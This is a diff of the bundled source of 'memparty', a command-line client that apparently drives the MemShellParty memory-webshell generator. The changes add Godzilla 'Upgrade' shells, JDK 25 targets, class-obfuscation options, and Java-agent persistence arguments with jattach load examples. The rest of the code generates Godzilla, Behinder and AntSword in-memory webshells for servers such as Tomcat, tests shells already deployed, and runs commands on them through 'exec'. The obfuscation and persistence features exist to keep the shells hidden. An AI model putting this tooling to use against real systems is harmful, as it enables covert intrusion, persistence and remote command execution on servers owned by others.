 
2215
2539
  // src/core/targets.ts
2216
- import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
2540
+ import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2217
2541
  import { homedir as homedir4 } from "os";
2218
2542
  import { dirname as dirname2, join as join4 } from "path";
2219
2543
  var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
@@ -2231,7 +2555,7 @@ function listProjects() {
2231
2555
  try {
2232
2556
  const file = targetStorePath();
2233
2557
  if (!existsSync3(file)) return {};
2234
- const data = JSON.parse(readFileSync4(file, "utf8"));
2558
+ const data = JSON.parse(readFileSync5(file, "utf8"));
2235
2559
  if (data !== null && typeof data === "object" && !Array.isArray(data)) {
2236
2560
  return data;
2237
2561
  }
@@ -2245,7 +2569,7 @@ function getProject(name) {
2245
2569
  function writeProjects(projects) {
2246
2570
  const file = targetStorePath();
2247
2571
  mkdirSync3(dirname2(file), { recursive: true });
2248
- writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
2572
+ writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
2249
2573
  `, { mode: 384 });
2250
2574
  }
2251
2575
  function saveProjectMeta(name, meta) {
@@ -2353,7 +2677,8 @@ function autoSaveShell(conn) {
2353
2677
  headerValue: conn.headerValue,
2354
2678
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
2355
2679
  insecure: conn.insecure,
2356
- profile: conn.profile
2680
+ profile: conn.profile,
2681
+ upgradeProtocol: conn.upgradeProtocol
2357
2682
  });
2358
2683
  return `${projectName}/${shellName}`;
2359
2684
  }
@@ -2407,6 +2732,7 @@ function resolveConnection(ref, flags) {
2407
2732
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
2408
2733
  insecure: flags.insecure ?? stored?.insecure,
2409
2734
  profile: flags.profile ?? stored?.profile,
2735
+ upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
2410
2736
  targetName
2411
2737
  };
2412
2738
  }
@@ -2426,15 +2752,15 @@ function parseExtraHeaders(lines) {
2426
2752
  function registerConnectCommand(program) {
2427
2753
  program.command("connect").description(
2428
2754
  "Test whether a deployed webshell is alive and the credentials work"
2429
- ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
2755
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
2430
2756
  "--header-name <name>",
2431
2757
  "gate header name reported by gen (shellToolConfig.headerName)"
2432
2758
  ).option(
2433
2759
  "--header-value <value>",
2434
2760
  "gate header value reported by gen (shellToolConfig.headerValue)"
2435
2761
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
2436
- new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
2437
- ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2762
+ new Option2("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
2763
+ ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2438
2764
  "after",
2439
2765
  `
2440
2766
  Examples:
@@ -2469,7 +2795,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2469
2795
  headerValue: opts.headerValue,
2470
2796
  extraHeaders: parseExtraHeaders(opts.header),
2471
2797
  insecure: opts.insecure,
2472
- profile: opts.profile
2798
+ profile: opts.profile,
2799
+ upgradeProtocol: opts.upgradeProtocol
2473
2800
  });
2474
2801
  } catch (err) {
2475
2802
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -2481,7 +2808,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2481
2808
  headerValue: conn.headerValue,
2482
2809
  extraHeaders: conn.extraHeaders,
2483
2810
  timeoutMs,
2484
- insecure: conn.insecure
2811
+ insecure: conn.insecure,
2812
+ upgradeProtocol: conn.upgradeProtocol
2485
2813
  };
2486
2814
  let result;
2487
2815
  try {
@@ -2533,10 +2861,10 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2533
2861
  }
2534
2862
 
2535
2863
  // src/commands/custom.ts
2536
- import { Command as Command2 } from "commander";
2864
+ import { Command as Command3 } from "commander";
2537
2865
 
2538
2866
  // src/custom/build.ts
2539
- import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2867
+ import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync4 } from "fs";
2540
2868
  import { join as join5 } from "path";
2541
2869
 
2542
2870
  // src/core/jdk.ts
@@ -2546,7 +2874,8 @@ var JDK_VERSIONS = {
2546
2874
  java9: 53,
2547
2875
  java11: 55,
2548
2876
  java17: 61,
2549
- java21: 65
2877
+ java21: 65,
2878
+ java25: 69
2550
2879
  };
2551
2880
  function resolveJreVersion(input3) {
2552
2881
  if (input3 === void 0 || input3 === "") return void 0;
@@ -3077,11 +3406,11 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3077
3406
  const packageDir = join5(outDir, "mimic");
3078
3407
  mkdirSync4(packageDir, { recursive: true });
3079
3408
  const wrapperFile = join5(packageDir, "CachedBody.java");
3080
- writeFileSync3(wrapperFile, renderWrapperJava(), "utf8");
3409
+ writeFileSync4(wrapperFile, renderWrapperJava(), "utf8");
3081
3410
  compile([wrapperFile], outDir, { classpath: [jarOf()] });
3082
3411
  const wrapper = {
3083
- bodyB64: readFileSync5(join5(packageDir, "CachedBody.class")).toString("base64"),
3084
- streamB64: readFileSync5(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
3412
+ bodyB64: readFileSync6(join5(packageDir, "CachedBody.class")).toString("base64"),
3413
+ streamB64: readFileSync6(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
3085
3414
  };
3086
3415
  const javaSource = renderFilterJava({
3087
3416
  className,
@@ -3094,10 +3423,10 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3094
3423
  wrapper
3095
3424
  });
3096
3425
  const javaFile = join5(packageDir, `${className}.java`);
3097
- writeFileSync3(javaFile, javaSource, "utf8");
3426
+ writeFileSync4(javaFile, javaSource, "utf8");
3098
3427
  compile([javaFile], outDir, { classpath: [jarOf()] });
3099
3428
  const classFile = join5(packageDir, `${className}.class`);
3100
- const shellClassBase64 = readFileSync5(classFile).toString("base64");
3429
+ const shellClassBase64 = readFileSync6(classFile).toString("base64");
3101
3430
  const response = await client.generateMemShell({
3102
3431
  shellConfig: {
3103
3432
  server: input3.server,
@@ -3116,13 +3445,13 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3116
3445
  if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
3117
3446
  for (const [name, value] of Object.entries(response.allPackResults)) {
3118
3447
  const file = join5(outDir, `payload-${name}.txt`);
3119
- writeFileSync3(file, `${value}
3448
+ writeFileSync4(file, `${value}
3120
3449
  `, "utf8");
3121
3450
  payloads[name] = file;
3122
3451
  }
3123
3452
  } else if (response.packResult !== void 0) {
3124
3453
  const file = join5(outDir, "payload.txt");
3125
- writeFileSync3(file, `${response.packResult}
3454
+ writeFileSync4(file, `${response.packResult}
3126
3455
  `, "utf8");
3127
3456
  payloads[packer] = file;
3128
3457
  }
@@ -3162,7 +3491,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3162
3491
  connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
3163
3492
  files: result.files
3164
3493
  };
3165
- writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3494
+ writeFileSync4(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3166
3495
  `, "utf8");
3167
3496
  return result;
3168
3497
  }
@@ -3170,7 +3499,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3170
3499
  // src/commands/custom.ts
3171
3500
  function registerCustomCommand(program) {
3172
3501
  program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
3173
- new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
3502
+ new Command3("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
3174
3503
  "after",
3175
3504
  `
3176
3505
  The full loop (see docs/mimic-memshell-guide.md):
@@ -3507,7 +3836,7 @@ Watch the printed request URL in step 3/4: it changes every run.
3507
3836
  }
3508
3837
 
3509
3838
  // src/commands/exec.ts
3510
- import { Option as Option2 } from "commander";
3839
+ import { Option as Option3 } from "commander";
3511
3840
  function parseExtraHeaders2(lines) {
3512
3841
  const headers = {};
3513
3842
  for (const line of lines ?? []) {
@@ -3523,16 +3852,16 @@ function registerExecCommand(program) {
3523
3852
  program.command("exec").description(
3524
3853
  "Execute a command on a deployed webshell and print its output"
3525
3854
  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3526
- new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
3855
+ new Option3("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
3527
3856
  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
3528
- new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
3857
+ new Option3("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
3529
3858
  ).option(
3530
3859
  "--header-name <name>",
3531
3860
  "gate header name reported by gen (shellToolConfig.headerName)"
3532
3861
  ).option(
3533
3862
  "--header-value <value>",
3534
3863
  "gate header value reported by gen (shellToolConfig.headerValue)"
3535
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
3864
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
3536
3865
  "after",
3537
3866
  `
3538
3867
  Examples:
@@ -3562,7 +3891,8 @@ the OS inside its payload, so --os does not apply.
3562
3891
  headerValue: opts.headerValue,
3563
3892
  extraHeaders: parseExtraHeaders2(opts.header),
3564
3893
  insecure: opts.insecure,
3565
- profile: opts.profile
3894
+ profile: opts.profile,
3895
+ upgradeProtocol: opts.upgradeProtocol
3566
3896
  });
3567
3897
  } catch (err) {
3568
3898
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -3574,7 +3904,8 @@ the OS inside its payload, so --os does not apply.
3574
3904
  headerValue: conn.headerValue,
3575
3905
  extraHeaders: conn.extraHeaders,
3576
3906
  timeoutMs,
3577
- insecure: conn.insecure
3907
+ insecure: conn.insecure,
3908
+ upgradeProtocol: conn.upgradeProtocol
3578
3909
  };
3579
3910
  let result;
3580
3911
  try {
@@ -3633,58 +3964,8 @@ the OS inside its payload, so --os does not apply.
3633
3964
  }
3634
3965
 
3635
3966
  // src/commands/gen.ts
3636
- import { readFileSync as readFileSync7 } from "fs";
3637
- import { Option as Option3 } from "commander";
3638
-
3639
- // src/core/output.ts
3640
- import { writeFileSync as writeFileSync4 } from "fs";
3641
- var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
3642
- function hasBinaryExtension(path) {
3643
- const lower = path.toLowerCase();
3644
- return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
3645
- }
3646
- function shouldDecode(opts) {
3647
- if (opts.decode !== void 0) return opts.decode;
3648
- if (opts.outFile) return hasBinaryExtension(opts.outFile);
3649
- return false;
3650
- }
3651
- function emitPayload(payload, opts, sinks = {}) {
3652
- const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
3653
- const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
3654
- const decoded = shouldDecode(opts);
3655
- if (opts.outFile) {
3656
- if (decoded) {
3657
- const buf = Buffer.from(payload, "base64");
3658
- writeFile(opts.outFile, buf);
3659
- return { destination: opts.outFile, size: buf.length, decoded: true };
3660
- }
3661
- writeFile(opts.outFile, payload);
3662
- return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
3663
- }
3664
- if (decoded) {
3665
- const buf = Buffer.from(payload, "base64");
3666
- writeStdout(buf.toString("binary"));
3667
- return { destination: "stdout", size: buf.length, decoded: true };
3668
- }
3669
- writeStdout(payload.endsWith("\n") ? payload : `${payload}
3670
- `);
3671
- return { destination: "stdout", size: payload.length, decoded: false };
3672
- }
3673
- function hasMultiplePackResults(r) {
3674
- return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
3675
- }
3676
- function emitSinglePackResult(r, opts, sinks = {}) {
3677
- if (hasMultiplePackResults(r)) {
3678
- const n = Object.keys(r.allPackResults).length;
3679
- throw new Error(
3680
- `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
3681
- );
3682
- }
3683
- if (r.packResult === void 0) {
3684
- throw new Error("Server returned no packResult.");
3685
- }
3686
- return emitPayload(r.packResult, opts, sinks);
3687
- }
3967
+ import { readFileSync as readFileSync8 } from "fs";
3968
+ import { Option as Option4 } from "commander";
3688
3969
 
3689
3970
  // src/core/request-builder.ts
3690
3971
  import { randomInt as randomInt3 } from "crypto";
@@ -3718,16 +3999,16 @@ function buildMemShellRequest(opts) {
3718
3999
  byPassJavaModule: opts.byPassJavaModule,
3719
4000
  shrink: opts.shrink,
3720
4001
  lambdaSuffix: opts.lambdaSuffix,
3721
- probe: opts.probe
4002
+ probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
4003
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
4004
+ obfuscationScope: opts.obfuscationScope
3722
4005
  },
3723
4006
  shellToolConfig: {
3724
4007
  shellClassName: opts.shellClassName,
3725
- godzillaPass: opts.godzillaPass,
3726
- godzillaKey: opts.godzillaKey,
3727
- commandParamName: opts.commandParamName,
3728
- commandTemplate: opts.commandTemplate,
3729
- behinderPass: opts.behinderPass,
3730
- antSwordPass: opts.antSwordPass,
4008
+ pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
4009
+ key: opts.godzillaKey,
4010
+ paramName: opts.commandParamName,
4011
+ template: opts.commandTemplate,
3731
4012
  headerName: opts.headerName,
3732
4013
  headerValue: opts.headerValue,
3733
4014
  shellClassBase64: opts.shellClassBase64,
@@ -3753,7 +4034,8 @@ function buildProbeRequest(opts) {
3753
4034
  byPassJavaModule: opts.byPassJavaModule,
3754
4035
  shrink: opts.shrink,
3755
4036
  staticInitialize: opts.staticInitialize,
3756
- lambdaSuffix: opts.lambdaSuffix
4037
+ lambdaSuffix: opts.lambdaSuffix,
4038
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
3757
4039
  },
3758
4040
  probeContentConfig: {
3759
4041
  host: opts.host,
@@ -3761,15 +4043,27 @@ function buildProbeRequest(opts) {
3761
4043
  sleepServer: opts.sleepServer,
3762
4044
  server: opts.server,
3763
4045
  reqParamName: opts.reqParamName,
3764
- commandTemplate: opts.commandTemplate
4046
+ commandTemplate: opts.commandTemplate,
4047
+ respHeaderName: opts.respHeaderName
3765
4048
  },
3766
4049
  packer: opts.packer
3767
4050
  };
3768
4051
  }
3769
4052
 
4053
+ // src/core/agent.ts
4054
+ function supportsAgentLoadArguments(shellType, packer) {
4055
+ return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
4056
+ }
4057
+ function agentLoadExamples(agentArgs) {
4058
+ return [
4059
+ `java -jar agent.jar <pid> ${agentArgs}`,
4060
+ `jattach <pid> load instrument false agent.jar=${agentArgs}`
4061
+ ];
4062
+ }
4063
+
3770
4064
  // src/wizard/memshell-wizard.ts
3771
- import { readFileSync as readFileSync6 } from "fs";
3772
- import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
4065
+ import { readFileSync as readFileSync7 } from "fs";
4066
+ import { checkbox, confirm, input, select } from "@inquirer/prompts";
3773
4067
  var JDK_CHOICES = [
3774
4068
  { name: "server default", value: "" },
3775
4069
  ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({
@@ -3777,17 +4071,6 @@ var JDK_CHOICES = [
3777
4071
  value: name
3778
4072
  }))
3779
4073
  ];
3780
- function packerChoices(tree) {
3781
- const choices = [];
3782
- for (const parent of tree) {
3783
- choices.push(new Separator(`\u2500\u2500 ${parent.name} \u2500\u2500`));
3784
- choices.push({ name: parent.name, value: parent.name });
3785
- for (const child of parent.children) {
3786
- choices.push({ name: ` ${child}`, value: child });
3787
- }
3788
- }
3789
- return choices;
3790
- }
3791
4074
  async function runMemShellWizard(client) {
3792
4075
  const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
3793
4076
  const server = await select({
@@ -3803,13 +4086,19 @@ async function runMemShellWizard(client) {
3803
4086
  message: "Shell type",
3804
4087
  choices: config[server][shellTool].map((t) => ({ name: t, value: t }))
3805
4088
  });
3806
- const packer = await select({
3807
- message: "Packer",
3808
- choices: packerChoices(packerTree)
4089
+ const category = await select({
4090
+ message: "Packer category",
4091
+ choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
3809
4092
  });
4093
+ const selected = packerTree.find((packer2) => packer2.name === category);
4094
+ const packer = selected.children.length ? await select({
4095
+ message: "Packer variant",
4096
+ choices: selected.children.map((name) => ({ name, value: name }))
4097
+ }) : category;
3810
4098
  const opts = { server, shellTool, shellType, packer };
3811
4099
  switch (shellTool) {
3812
4100
  case "Godzilla":
4101
+ case "GodzillaSession":
3813
4102
  opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
3814
4103
  opts.godzillaKey = await input({ message: "Godzilla key", default: "key" });
3815
4104
  break;
@@ -3836,7 +4125,7 @@ async function runMemShellWizard(client) {
3836
4125
  }
3837
4126
  case "Custom": {
3838
4127
  const file = await input({ message: "Path to custom .class file" });
3839
- opts.shellClassBase64 = readFileSync6(file).toString("base64");
4128
+ opts.shellClassBase64 = readFileSync7(file).toString("base64");
3840
4129
  break;
3841
4130
  }
3842
4131
  default:
@@ -3857,7 +4146,8 @@ async function runMemShellWizard(client) {
3857
4146
  { name: "static initialize", value: "staticInitialize", checked: true },
3858
4147
  { name: "bypass Java module", value: "byPassJavaModule" },
3859
4148
  { name: "lambda suffix", value: "lambdaSuffix" },
3860
- { name: "debug", value: "debug" }
4149
+ { name: "debug", value: "debug" },
4150
+ { name: "class obfuscation (v3+)", value: "obfuscate" }
3861
4151
  ]
3862
4152
  });
3863
4153
  opts.shrink = toggles.includes("shrink");
@@ -3865,6 +4155,7 @@ async function runMemShellWizard(client) {
3865
4155
  opts.byPassJavaModule = toggles.includes("byPassJavaModule");
3866
4156
  opts.lambdaSuffix = toggles.includes("lambdaSuffix");
3867
4157
  opts.debug = toggles.includes("debug");
4158
+ opts.obfuscate = toggles.includes("obfuscate");
3868
4159
  const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
3869
4160
  if (!confirmed) {
3870
4161
  throw new Error("Cancelled by user.");
@@ -3877,7 +4168,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
3877
4168
  function toOptions(o) {
3878
4169
  let shellClassBase64 = o.shellClassBase64;
3879
4170
  if (o.shellClassFile) {
3880
- shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
4171
+ shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
3881
4172
  }
3882
4173
  return {
3883
4174
  server: o.server,
@@ -3891,6 +4182,9 @@ function toOptions(o) {
3891
4182
  shrink: o.shrink,
3892
4183
  lambdaSuffix: o.lambdaSuffix,
3893
4184
  probe: o.probe,
4185
+ obfuscate: o.obfuscate,
4186
+ obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
4187
+ obfuscationScope: o.obfuscationScope,
3894
4188
  shellClassName: o.shellClassName,
3895
4189
  godzillaPass: o.godzillaPass,
3896
4190
  godzillaKey: o.godzillaKey,
@@ -3909,7 +4203,14 @@ function toOptions(o) {
3909
4203
  };
3910
4204
  }
3911
4205
  function registerGenCommand(program) {
3912
- program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
4206
+ program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").addOption(
4207
+ new Option4("--obfuscation-scope <scope>", "obfuscation scope (MemShellParty v3+)").choices([
4208
+ "ALL",
4209
+ "MEMSHELL_INJECTOR",
4210
+ "INJECTOR",
4211
+ "MEMSHELL"
4212
+ ])
4213
+ ).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
3913
4214
  "after",
3914
4215
  `
3915
4216
  Examples:
@@ -3921,12 +4222,13 @@ Examples:
3921
4222
  $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
3922
4223
  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
3923
4224
  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
4225
+ $ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
3924
4226
 
3925
4227
  Note: run 'memparty config' to list the available servers, tools, shell
3926
- types and packers. Some packers (e.g. Base64) are aggregate packers that
3927
- return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
3928
- for a single payload (-o refuses aggregate results). The --json output
3929
- includes the gate header (shellToolConfig) you need for
4228
+ types and packers. On v3, parent packers are categories \u2014 pick a concrete
4229
+ variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
4230
+ support aggregate packers, but -o cannot write several variants to one file.
4231
+ The --json output includes the gate header (shellToolConfig) you need for
3930
4232
  'memparty connect' / 'memparty exec'.
3931
4233
  `
3932
4234
  ).action(async (opts, cmd) => {
@@ -3946,6 +4248,12 @@ includes the gate header (shellToolConfig) you need for
3946
4248
  memOpts = toOptions(opts);
3947
4249
  }
3948
4250
  const request = buildMemShellRequest(memOpts);
4251
+ const { agentArgs } = opts;
4252
+ if (agentArgs !== void 0 && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {
4253
+ throw new Error(
4254
+ "--agent-args requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
4255
+ );
4256
+ }
3949
4257
  const genMeta = {
3950
4258
  server: memOpts.server,
3951
4259
  serverVersion: memOpts.serverVersion,
@@ -3979,7 +4287,11 @@ includes the gate header (shellToolConfig) you need for
3979
4287
  });
3980
4288
  if (opts.json) {
3981
4289
  const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
3982
- const doc = outputFile === void 0 ? response : { ...response, outputFile };
4290
+ const doc = {
4291
+ ...response,
4292
+ ...outputFile === void 0 ? {} : { outputFile },
4293
+ ...agentArgs === void 0 ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }
4294
+ };
3983
4295
  process.stdout.write(`${JSON.stringify(doc, null, 2)}
3984
4296
  `);
3985
4297
  return;
@@ -4008,14 +4320,17 @@ includes the gate header (shellToolConfig) you need for
4008
4320
  if (result.destination !== "stdout") {
4009
4321
  logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
4010
4322
  }
4323
+ if (agentArgs !== void 0) {
4324
+ for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);
4325
+ }
4011
4326
  });
4012
4327
  }
4013
4328
 
4014
4329
  // src/commands/log.ts
4015
